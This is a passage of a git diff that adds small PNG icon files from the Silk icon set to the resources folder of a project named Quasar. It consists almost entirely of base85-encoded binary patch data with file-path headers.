z)rla24@6K9wNMI$woo;;iYcWgx##Y)_gZ@`GY~rIK*;wM?#@D#EKtb;Ri}RV+xZ`A zhKLbW5rLpih)NVCB&QZ51f^o$_?kuh$5C@~cGMirj;JGMh&ZB#WFx6@>CS5^-kI$x z*+9+FY^3an8lp~8BWfmz6V*s!vxAJU1LZp>H^%BYH{(W(lf7_Huti#Mk!3i$5YD@KNTS-ZT&g}Yxe zHM@_MZK#_}5W{MvtfSJX(dsQYuycs2EU2U6?sQ_t493?C5H&F}yq=?%x6n<2C>gIa zRVO$x86g?xufOKlC~WES-NBtwM=&7 z)yx#_fo1&o;yw@m_=SJ(ougQF?1?u)ad9jfo)i~jV)6)0N+e4(npicwfo)@Zc|7%i zTR%Udes~7&j8eEe@8jcd%X;hRXN&LtcKfeneE#yR|H{0=-FY8lCyP2;&*ETtZ2GJ} a<(;=eRf2_>Pt-a90000 zlh11tK@`Wovq_Uwo0hbVwIoqQhQVnOkuXz^e{MG*vVUi||+dlBkEy;#AUC>|=7 zf?$Pu5)ttv6zruGW7H~Y+hl*t%+C0oNdv`8rNb_7c4j{Beczk6!di>1jIoC&E-I}j zga0{vb>>p_^3=Iw8{l!mPbve0C9#n?I)01xKABiqJSL(S+| zhYX|#jfW+z)dw)reao-^_+3J8mqFCfEeD2$Jaw>$>Gyvyez*tuj=%}wV=-Tg@#fPS z&L8Q=)3?Bd(LPMfd_kc@z(k6vXze5Avx4~=58r>a3?YEqGhb2d>%hLjJSx38Y|jPQ zUCyH!r-*pgG^wDOXvEF|JzhE9hio9=*4*_rk`$~dYt-cgAtuxy9Qxu0u+0=fBeF;& z^Wl5v#W$aC7#k0`NGTnCTne#J4+*7kZ4=Q!tSn3-5v)WKF=4mSiVQ~9>)%d+#l4qx z{9MysLHD){Ca(=cac&a}aq{N8Jv&lD?NH*Ie}D8_lU}{{dpp^$#|VDB0)4P3h)NUdleE mCFsAYz*qF2A-4KEx5r->H>;=VK>mmT00000oSgT$J*kO*Aq9I~CW*s{G*(t$KS{OS+#aO%?udUme<*TTEO`Fr@r_QT zk=#}u-n~>Vm!+9S1PE{@3<)G~CPb<$Za;W?3+O}|+q)?*Pn355=}S(XIZmEANjZci zf5 zj<%@MX^bD1^BwlS^+AD|$dm-1wial0hwPI;CDM?Y9SXW#@w-UF0SQ8OgplRTleOB2 zUjkDS|0U9pI|lSN*EvXUa~*UIclJdZ#)Npbwh9>YT?Z;=B8|l&^t~P~om?<5Lre$+ z;%`P>SL7`djY#8Y9$wv9dv|3p)9Ovu3r^Sp@>J&i__b$%mxew<#AEK)K4_tuGzR_Dj zPEIW+13!^2!Lpmfum?NCj6AtX3WL`1|z0WJO$R6%tkR)SoHv)7)V z2J!;SiNK5OjY!w+2h{D`h38lT^}tkNg#0yvV}#EiXX)>`NH!2DT1ckB7?;L|{Tz(8 z;ur_j0K^3mj0hqIV+lr?y8Vsi$6LOTA8J(bfmHy@>b zcO$Rop0fUa(vNo6-E;xeS_D{{pDQU43O%OnNC$xlI9%J##D`I$O)boS8oT7?XD#2H zp@F_)^gFKH=_e!=bR0Mbz~#1kjL!}OW4;TpGi>5Em#V5QmwXEgf`!BCTAaDqG;d>5 z^tO*M_~HzHzE&w0V25WOoga94ESc3NYfJ6YaewCBwAXT|mGRkO%EV>r%_P8({OdYL nyXyvlE}#-v1%_wt#(IAOCI8(qh6s|AZQ;I8AMQ)(8AgTxri_~QH!8j7P*R` zMc^VU=$D{HL=sFyKO~Ajq>MlFfA48AXxr=Z6VbHN*b1^Vu&p;5ljX0cxTq=?a5f!hw>Y;n!k*~vFnseWh_8s^dl9C`3w#?js<@l-uiyFgp|$5{ nCx+WSD{<@TkixBf{e_-iDvsiFH^U=e00000NkvXXu0mjf5N;`P literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/image_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/image_edit.png new file mode 100755 index 0000000000000000000000000000000000000000..0aa4cc6512ea19fbb5241bc67ba90a9f8243c960 GIT binary patch literal 783 zcmV+q1MvKbP)5LVcnTf5GZ5SK z3kX3yRAdV+P=@A0X4ocLjyN{1GvCa2Zx4f0Mm_b1^KcIL{`sAI&kt=e|j1aOt8IKFRjAQ%V;Axt!&Q}+Z~gVtlY#!Wcv zuDrJsNE(EPTsx2x5C_g)V`_dDwxMvf4bqPkBtr@eDfrsf%!$MMiMv9iS{R9elqSVR z)0tPc5JaRzZGN<2CWLZG!mX&0p=0>~b`OL3$D@B9k<{xM9y~l^u8U0nz0Se4#tee$N z){M2pzFo)T6MSiGBQmVDbov*_F?_8-8Xlx!C&Nsmz|%-Y$y>6D))DQ#gs}Rt(lhX? zJ}!P(GQ9L)ZM*!P;CBTF9ZtvJrWbUN$aV3ZxD%gJ#8B!E^50fauc z(%JeF*;-Bc6HoVctJ% z#J}bQxxs95eQ_-5U|T|`2qxI_#-5W8myg8t{8iDA-)X%=;eu5}di&_8f3NTO4h{EI zwYbm%fNg=-My|PRb|Kn|y%-Jk?%Hsw>EplF`6o(16g6JqaoYd@ N002ovPDHLkV1gC;Y5M>G literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/image_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/image_link.png new file mode 100755 index 0000000000000000000000000000000000000000..4bdb3541ecb728c1e2b0bef1b0546fa0878c99fa GIT binary patch literal 773 zcmV+g1N!`lP)a^7G6T^gLQYt)lJ)S*4dqT-(Sy@A_4#a000000OYX$@Tp_vAnm)d zTn=Ab0RTV+0E`r@8*%c}_x2php{&yWw_e!Z+|X>MlyZSU1(FCNs6Z$OtDbrDi-S0n z!PBFmCmmdyTk*4u|()Gt$l9F|wevfQ0pZ+G_t zlWJK_L`lj?NtTk7GFg@xs%5GQfE=JgQ4AX%SxW=}000Pq069Q~{%TLZcb$|(RH`Ud zRVE=K)KY1%x-6mskOM?;d8zI1OH2CIKozBbR~D?6w@H8v#Z}k4OGE}B2Z-R}!VQKl z^neJWDWV79su3411OUjPLIhcD4HaekjK=C8S{rWh``jhH%@0e%ql)vNnc33t$;lIL zjwq(4rs_FB1W}b1fBoFOw}w3j59oHgw$9D@>WA<3t+DT^#}z}lPN!qd(9gqP{{%Ixgy^BE)% z9@>7F#!c(NYp=hf-yhh!cdyCGNi#Durl+U%2Ln$(`!X0E9W8QLHfXNm{_+qP}1jg5^>)a&)r ztyZg96h#f$;^N|Sm~S*1r!lm$vQoC&?aSS6_lf@j6IvVn17&DY00000NkvXXu0mjf DgX?L9 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/images.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/images.png new file mode 100755 index 0000000000000000000000000000000000000000..184860d1e0b16cdd0698a884186aa27c3b685106 GIT binary patch literal 661 zcmV;G0&4wR5;6p zlih36P#lKyR|!_HEbWGst|FC=iQ<@LbGEBn!qA~>^`=bSiulnBr?QncO;#pi6;Zs= zE5Qp<+)W8it;X7qG?~p1m)CPnztUmZ#RJJX$@_cqa>9+wNjCzsvg!_rnj_d^tc!C} z)Q@x?#ZBGNBVH`Zj(sOsLg54o9R~-vBzft{d=Q_JF@P(P4aH z5rNrN_=Fq|1VyW#8F!Fu(8+xAESBFc;{Lk?9=^Ycld&v_8TK+`0d=x@@j(PDA8%px zLle(T2Gs0LSit9aqRaK$cs>_Jscym*k~J1kA&H)AE}TlnF?=b7!Sg8)Ww^pQID;9u zC$aGm@=IlOFc!dpyQG98;>{t z;K|p&h|8~-wr?s6WqcIHcEDgr+$@!=(1_vy38012hx0`X`ENTN=o;1bhSJE71W+tD z;G84@$9QRBXj*jSA^cvU--B7JvbhUf_1^bP? vP|eszjZh`mO}g5B1MG#;NxNxl+u!*If$Q>9A-BVme|mWaqy4$_pJm?y9KM{-*hp?1+Ey3e-CEDooTa!B;e(Q>TSF?bj>5At13y1p zriN3w3x~5SfZj{@J4M{kp{?=M_Lh2bV+5LH)Q)5W!-ePA$RgE1@5f1cyHki0Y}JyVEYZF(LD$xXlt$7A5CgE@ zpV-&l%vf;=5kZ2-2gi@Y6J&=cuwt>!vJ^#(&n|LcZyUzi6Duj$$hJ1s*HD-#;k-w@ zpdrwAuoDG_N2bvb07G$Zk*?Hc)JLtW4yqOnic_$zO7NZ#l>Fm){;fE?b$IbOaX2fe z0la4g0Dfw2xk7Wi7NapVD8YMPCZu?A1QCK*67dgsvRKBLFtrM>?$%&_lD1882mzdO zWPdw5KWw6IT`m1b_8=lS5jt8D3=RDa=&jWzR-)S@56WMslZ~mKu1)-wpXB>rNBQ>N zU#K`#1B&v|_AQK;7I~B}OdGiUT9LX>f0xm6<;LeP!=vFjPsUQF*wCJ*dO)4YBypgdiuF!=i@6Zyi7F|q#K zz?tlSZULa@t1D?$e;f@b36&N!V2mjOHw|*qrt0hl7pI`Dr$rJ)1%#!m}(}?)Q8C%hu~P z&*$@ZsT)vdK!&|8zes6Pj1N&eUReJ`yuV>;nnucw0cwRZqU);x5X_mKSbSEdYhBl; z0GJP%irE%X*WG{_OK!=Ch zOWQ$|ChD2{a5$vx_S-*#TZ9g))rvNojk!lrL~$Hb5CpB*=SGmFLUCD^mceefGw-9( z=tP6QkAZYflEgU9dV%b_cLe+t2B0bK>f?^+)j$Bo<1y*ArlKh97|`KY1}?y4GBI6U z5vSAX{{X@;G!77-A;&D8M}xOCP49p%jzo#BYdscH_X9`;wbP{~X{rDK002ovPDHLk FV1mD6$SME; literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/ipod_cast.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/ipod_cast.png new file mode 100755 index 0000000000000000000000000000000000000000..6f6d3406cb1062c517d384639dd27c4cc22eb48d GIT binary patch literal 711 zcmV;&0yzDNP)D!zG=Q}^X1IIGPP@%!z!@w<+I){Owi4hXU{7EgS}yl zc|){1MO6fra^Nn5rN9@UeQ+WWuYp1y7AD>y#AR;0_H6)^>LFI00w6c8@D^I}-8gM` zEiQFih+>?Dsa7V36-q&PdkRr}vYO!I%cG!&i0^b*o=}v$gIIDN>EFi$7uFJdKzL74 zejS1MNqwV3W=NrfrVz^SBARq4&VpBJM+=FO--#s~DCEJhAym^$G2e+0XHb4Svt#|# z?RS_S>9SGY>fMDo2;46OrQ3vSisXLvu{6^{KHI|dk3QnNipbJ+lsm}cv?RI>+)^rp za2votPy%0wkv(lWOY8B)+VdS+>rSN`i*4Im0{)d?5lAKy2@;9KM)=}? t0ZOTKI-PD)O4XNtV67Ik)}J@}{{WOyO8m_F|55+|002ovPDHLkV1m*nKHUHS literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/ipod_cast_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/ipod_cast_add.png new file mode 100755 index 0000000000000000000000000000000000000000..c3257f5f1e2987bc9ee17954cb2623367578f778 GIT binary patch literal 796 zcmV+%1LOROP)MUvn@5JJ+GVOV$(UKosaQ4~Q%!7dWiGJCPo3{GAL5i_55R32!XGq!Wm^*YDRxAkYq2tC!GUUX}>pbx9cO zbYt8Eyte^d2jF2rT>)n;V808v6u@XJ;HUw*F1pc?oAd|3X;pYj#R9;micz7Ibdxtb znah%)FP7p(Q4BVM8A}268Fn4uZ_9-LNetm$DrRG_*QLQBPa$0e=>}me38MR|0=j|} zXwRqN>A4vCDgouO7+7frgOOGh_%6~@3%XL+?xez6IftP}z)}vFZ_!-=bjaqQKAnok zC!_?SF$#gE9F`&7j|iLAXR}r%lWr|s^%2rF;8~so?J^1J8eq5{f$C@lT8`{O!{Jr* z(irlrX@+!{5vDEoQ#WJD_8HE3^Ml{+2!%pld7cNyaq#>72oCjs9(50}sL$R;g$wAt z4cywa)Z08BISe^ww6zy^Su{UN5#tb^QK0Oynj z?>>2<9KHsbG85UwyPFdL!n_-RPX3FSyobjz5K&=ZhJGYE&Av-e`YsEAp9uh;&nE(+ z(dcGQR%c;wN{hdbeNrO;kO1&_JR)FzejXDO6JjK#d-2G70S(@KvADsL|9=CQ%e4@{ zeT}UiXPftd^%jbqgLXx_EI{ zrKMEGW9*{2Sf;_Sa^d}jOm<7w~Tld8ZU$6A~+4uS^^E1pz4T=@&l270ZN6D*P^TeJVsR%^+Gpl?xn|BQJ6CH zJUpsWFJR`=P`X>50eJ5w;=QfnuN7rk#c?H$hQer}YY@5}m@_+gblgDYp=c`h$8l$m zN?k78*sdb$6C_$njQFaAUa6+5r~X1L_S^tX*T9+$kI#rR2g=g|lf^*S0lJ3D{)d_ELK!Rz(X(PaD5>Uttmv_4D}hp9aa1*=CS zp*u;(1E|i>wj1g1^tDe-P4U0DTu+~ozg9=#nvvjWmlA$TV!H#>HmjX_?S2 z8|nk|^1)U@>%QgF9)0+vbMFeqMVXRR$ccfXc!r8M}+M35Z(54=eI0P!Lo3Z>vVl!7-Qw}2O= z3LZ5%NiC?SQc6r%jpSp4>1IE(`+PH-w{Ah=0JUDw(Ftl#gmTCG;c22qy~8EyUh2pEt2jNHcp_?KUsWyEB^ z5r7+Dz_H9s0DuogpjS(CNP_FSRM%d7dJhcq{p_o?Us8a|b@RgEt_9njF(`+UVdtY6 ziN^$8oJ=OrzW?NT3fvWaY;5qOOM!%`o=i%H3k&idDVPrj0fQ6j?;?ziH@0K19FBVz ze_X$_NDLA&0FPI;hwdKzeqIwMoc!=Q*1UYP0+w}JLS4cf$ANCQ3!0`8-8wcZd`>=*&{n(n(H&ZS7D9~VA-qjs07hjXczMlGufO!-eHz~S57b({Ty!0 z^|sa|9GsAVnvr&^)e3>|OaNfBx#s55PVQ6(oXK0-#3%zC7L54L4{ueldkJW1R95TUzXcT$G-|YwZ3uzC7C+PJG?~lg zv_tF}9Lz9`k3b+0_INxX0$taGolfVSr|u82E+>M?WOC7HG|+4|1%cb`#%MGOIbj_M zI2hS%mi2l)L9kpdg&$2I%d&`!F+pIF98JJ?fOI--`g}g{MGB{HPUg5ozHumu0!fn4 zYPI0^`%mkDgH5_o(=;ga86JN7P;YOp@%r+`{n@dDa=9GlLEG(iGIue5Fc`$0xxvNb z6PU4NE4`ciE`KK9QmM;Qsg$<~sF({%i$^+^?KoQxsb_Z&~CSx=zu3>E?rbA z6%vtHm{mkRo6W?TzSB98NQh{UKnc2aI2_s_t8l*)3rD)3UuzRkk`jD2k+1;!akJU{ xbDN;s?V?_<+oCyiON~@Sqwc?8=JcFTu|F2lW40ifwh{mU002ovPDHLkV1k___RjzS literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/joystick_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/joystick_add.png new file mode 100755 index 0000000000000000000000000000000000000000..77e710772f40faddcc2c3fa16c4a92a07347d052 GIT binary patch literal 669 zcmV;O0%HA%P)oJ(_x`dc-QTAF>c@ApwG7GW}(_5=eGiNtt&dmG7Q5)@Rc)nG6f z4g>>;+%e5AmkXUvhgYD}>4XD~uO24u{cfHuTv>!2!Pu^1Ezg>ZnyVj0mdBudbHYQy5W6F+U%V?2A(Bf)G0G#ZTy zB-Ye%v)PP%J`eJpSbARI_>eT8e!{xN;mgh2FdB`%Qvg~_YO9800000NkvXXu0mjf Dt8y)8 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/joystick_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/joystick_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..5d44b592503becbcba424255921ffdad0390417d GIT binary patch literal 671 zcmV;Q0$}}#P)*h{!Z>@B+0F%S_t zL=uExOSA(;co2~&X01@7)osa8#~DW*r#FwZkU4B0e0;;q_x;{`|M@>+nkFVAnM?)^ z!`SHcdP2Y7ho))Y6h(<95(#;-*8!W*b^W2=?-$%|H!MJ z@qh}+(t2kXwjxr+A&MfLPA5vG61-mT|LuS_o7Rf5EJIW~xVW>8jgt$;U%q*tj%Kc}BY*Or!!q*AGSOef1o)-bJdI2`7) z*(?f$0;<(2JNK$M4{_lHw4Ws?o3GLRwGGw14`pp?eR;hWWdKUkBasMC0cf>aY>>Kd zoc;IDFjLRt*x3u1nwy7K%Hf0b3QhUbEp`Oj#8c}clgU^nVuGovItHBn_ynhJ+=c7Q z8$h}b_W=)%3bQC|ns*$3L}RNq8V&Y58timBtnSwpxO{WK`Q^XjtsVw9B*JJ13=j&1 z*gv<7^KaFEJcn9*iRl;Dp=))hmfc$%3=UfiU48N3^HqQ=65>v_*`zV_8SgXU*zS6%{~AC002ovPDHLk FV1lFjDy{$k literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/joystick_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/joystick_error.png new file mode 100755 index 0000000000000000000000000000000000000000..b32149e27a37adb1c567ba71ff61364f380138c2 GIT binary patch literal 711 zcmV;&0yzDNP)d&Xs0pH>F-Fp)`Pg*#IlEx0A%{E|26ktDGjHbqIK~+IPb?O* z$g=!ik|bNV+eNF@`qpSPR>I-1*dIHJ0jJaHJeir9u?d0z6;LP?%=vu&G5xyMA3HJ# zP_Ngg)9ExanT!U|>-DJBYL-E<0|69_jg1YiR4QqJcDt?F&;Xw2HP3OJ2KWmZ8bC8Z zC=_BwqY*Sn&D3v018Cy#dcB}QBAdJa~xOCSge{VTu}$c;~!UA}|8w@<<3_TdoK1a)ZDYE=U?>NVK)IT$Txp)|9U z+rq+i7Zm9SsWJzf?X8hh&afVIl+!L;jBWxi#5B5HM)j0xPvp%mNv|g zGs}xI%8D||i!#ZIGRTNAz?`Sq5AHu z`tGp$@4Nf&h5PZl`|-T{^1l1@#{Bc3{Pn5)^{)K&&iwb){P^De_`&}C?*9Dn{`~R( z|Nj5~|EI)kmjD0&8FW%kQvd>chmn?;o1CM+%gxW!*xcpo?e6aH@bZL^CCC5(0I*3! zK~xyiV_<*+RuvUi1|-0$l9GZf!m5%K8k?!Yfy56CQ&GuM|KCt?X zXjeUJXQlWASzd?>L(H{I-9!YWT5Wt4 p@CA>*i=P+^k~f(Ig@l=r_y8&C9P4O3%$xuK002ovPDHLkV1k;XR2KjM literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/key_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/key_add.png new file mode 100755 index 0000000000000000000000000000000000000000..d40740396cbefe1b8204f4f91a696f6d04eec2e0 GIT binary patch literal 703 zcmV;w0zmzVP)7oX;fYS5fR?a$bad^&iuHSu~`3%VTtO}r!shMd`!61c%6R9aJGSh8X%)P*raU)hwAiO6D z)GH7M>Os=K8*y(FIo?C~yJ{<%*U%nBM$Zz%Wh5q=k@+A)HgpoHzyZX@8&HV#!QWjA z`_+cv-}i0Xg^24s7I-VE#u4*AQoR#N?{>t-#LOH})WMk9;P)owvi_IE6!o^=Lf3R#&PVCy|Gc4obnhMMwvBLinP_YpwW)P1ST? zrfe04-x)FNzro&t&e;ir^8^J56p&nqIY_fO@GcRuAKQt!4<44sunkb-j=jm5S_@$&_dyonDz^$r}kLbDn<^FJI)(KksQ7G*l%&dIcv63Kcm5d9~ zQDnp25a#b;Oe2ojja#pmUoF|#dr&8W-hPZ#rZfF!J@DLVkx!Vn%)K#giqbQ`G;LE> ldR%0)iYQ5Amu3}R{|RMS>3;1N)RF)I002ovPDHLkV1l&ZPDKC! literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/key_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/key_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..00dec80d84e295960ce1dc1e67697a8069cb7a81 GIT binary patch literal 724 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 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/layers.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/layers.png new file mode 100755 index 0000000000000000000000000000000000000000..00818f63635ef3b3c04260c0d8f160b19570cb62 GIT binary patch literal 597 zcmV-b0;>IqP)62!*BTExOSjY%3)*jT5svJpGKf=$3CUqKK-1RDzx8ymlZ zwS;W;-7_=ySiHB1u9f68hg;0tAIzK-5q6bH&%Yeqk1(r}i84|~$mldU469wb{r=gf zuYVfkh}abCXHiD56XS1@m(?2&*9kHq6O|^j@r%)9WR;gBSR*+^{BUiAhv zLTNl5-SWcMf`$Z#q6Tzk02$5(j=VTsw!_ijI|?3O5Ws14CO8uvli9}fO~g1=Dv?Sg z6QM+>P3O~zsHL}l?cjL#8yuEVU~n|V*x($S*`2dri>5x}hU56pjd4M7=H5jVf&jnh_YoHFW1pQh33@EE+GcT-uHR1*sID5Hzvg z6g2}hp<@K+0FD7#ACek+3k!>iLhA`|uU)j;i__)Z&Fgb3t?v-b7s4*agaQ+5 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/layout.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/layout.png new file mode 100755 index 0000000000000000000000000000000000000000..dd21a0db13c2d06baae8c978401b25d6584bcea0 GIT binary patch literal 464 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GbMfy#SvO*Z=?j$4@>NTDuQO0#QiK zUf;ZBDU(h?xSXLlG?pV}VkW&uXWv z)k$Bkm$S(@Z;M6oHixq9UNyUXYIphOE%(b`;a>|*DtYu#(EcdxrK`^eilN8TR1_2tm*FZZ5)c=qP&>-XP)Ufb~d zcpA{B5+y-?!3>4{6J~Eca{A1TdvD*p|M2n0uYX{WA#r&wP)(<&i(`m{BgTe~DWM4f-|yx= literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_add.png new file mode 100755 index 0000000000000000000000000000000000000000..3864766399c7674670710f61c6cc6a3415bf8ad5 GIT binary patch literal 557 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GXl47{vp8LR|m<{~tg3oO!k+5QWz6 z1G0fAq-Jl*q*D-fXv2Zv>OJv&r{gD{g(yqxITknJOhnV6h?aw~K=H|EwNuvWq_5Y@ z*<_rz1*pcNc$h5?H=1xMEvy<*wi! zjgXq1A@zGg>-K~K@e|I(PdW>9Nn)2*;>6R5lg=hj zKAYC(UotbHWd7OG1!wD)UT9pM*u3mw`_6>+T?w75u63`u-o5Td_pYR#J*mCBQu=pi z_3ufaedO(&BX5`QUA*St%8i#NY`ivU)1|3fu1wu_WzNA{Uk=^=a^cyodrv<+d-L`6 z`)|N7;f^gX28NV)NswPKLt#fx|Ag6FPoKGQ@7?w)S|(UCT#sL9%&5>R{W*8Hb;G)qm$I$} zXRnoMS(eZKI2ZBbfi!&NVL;pKJv@cD;* t1@9)@GAg#8#asTqo5?|T{@-=C?M*~oc{beFzXNnRgQu&X%Q~loCIFDP4?+L{ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_content.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_content.png new file mode 100755 index 0000000000000000000000000000000000000000..b4aaad9a45c9abbee2d47611a6963101b64a8023 GIT binary patch literal 519 zcmV+i0{H!jP)l0tqi6&npJ$x10^Z5HznC|jkhtXU{*?AXX+vSK$&lqrKo z4P`-MYRWlh-uHXoo+plGVQMtjm29&SnPTept1G}>;1qBiY)nF?X%bBWNhny_l)Z3d z&-N3@T)lWSVVldhUf%V8y7}mh3o^f*rno=*oe{IP>4|aPep(t*WGZD`whRe#WKrpOeww^A5*|8>ZEI3iJG3d@;ddSaaQQiv*3SWXm^*Pk(vkYVP=SQ%7gX+6s4|5yBQ}3^T_6XQ zZDbP)D!Ze~6zXIkQ9PYpWTZE?jfD>%Y1@{Swk5itNez`{Q)G&e7J>b9cP_BngG&!t zi|rp2nJV;T^4jymwofAMkUFri0;>ZDmaq-jpk-+0DUxkA;uk8$FcGE_?o$8&002ov JPDHLkV1i%8-68-0 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..7592108fb6b71f5cde5d82fb0d035b53fea8d473 GIT binary patch literal 585 zcmV-P0=E5$P)(xRD8W;lFDC`&R>(xRe->`L<6}+1Gz;5xkUq0d%Rzc z%U_YrVT{IJkjz+u!dQgCU5?9Nlg+$B1iVcJD`c%KXRj`7vNLY9ICHi@cDG7=x=ek# zPjanLbg@x(v{84qQ+T#hdAd}5xm16=RerozfxcRX#9D~QTZYA3ipX4y%3qMoUy{vV zlg?q0%VCnuW0TEvpUrik&3>iOf?r^RrqPLHVu`BOi>%j+uGpKz?VQBzyh8=RTO+|) zAHiB6!P@k~+w{d?DaT|d%4;ssc0AUmkk+P=-DCmY)Zj1^v+DeN+ 